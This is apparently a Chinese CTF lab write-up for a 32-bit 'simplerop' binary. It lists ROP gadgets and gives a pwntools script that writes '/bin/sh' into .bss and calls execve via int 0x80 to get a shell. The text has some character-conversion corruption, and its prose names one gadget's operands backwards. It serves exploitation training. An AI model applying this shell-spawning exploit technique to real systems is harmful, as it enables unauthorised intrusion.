lab5

check一下,開了NX


image.png

拖進ida,沒有system也沒有binsh,只有一個輸入與棧溢出漏洞,所以應該是ret2systemcall的題目,用rop,進行int0x80中斷,執(zhí)行系統(tǒng)調用


image.png

先利用mov dword ptr [edx], eax ; ret向bss段寫入"/bin/sh"
int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
0x080bae06 : pop eax ; ret
0x080493e1 : int 0x80
0x0806e82a : pop edx ; ret
0x0807b301 : mov dword ptr [eax], edx ; ret
image.png

腳本:

#!/usr/bin/env python
from pwn import *
sh = process('./5simplerop')
bss = 0x080EAF80
pop_edx_ret= 0x0806e82a
pop_eax_ret = 0x080bae06 
pop_edx_ecx_ebx_ret = 0x0806e850
int_0x80 = 0x080493e1 
mov_edx_eax = 0x0807b301 
binsh = "/bin/sh\x00"
payload = ''
payload += 'a'*32
payload += p32(pop_eax_ret) + p32(bss)
payload += p32(pop_edx_ret) + binsh[0:4]
payload += p32(mov_edx_eax) 
payload += p32(pop_eax_ret) + p32(bss+4)
payload += p32(pop_edx_ret) + binsh[4:8]
payload += p32(mov_edx_eax) 
payload += flat(
    [pop_edx_ecx_ebx_ret , 0 , 0 , bss , pop_eax_ret , 0xb , int_0x80])
sh.sendline(payload)
sh.interactive()
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容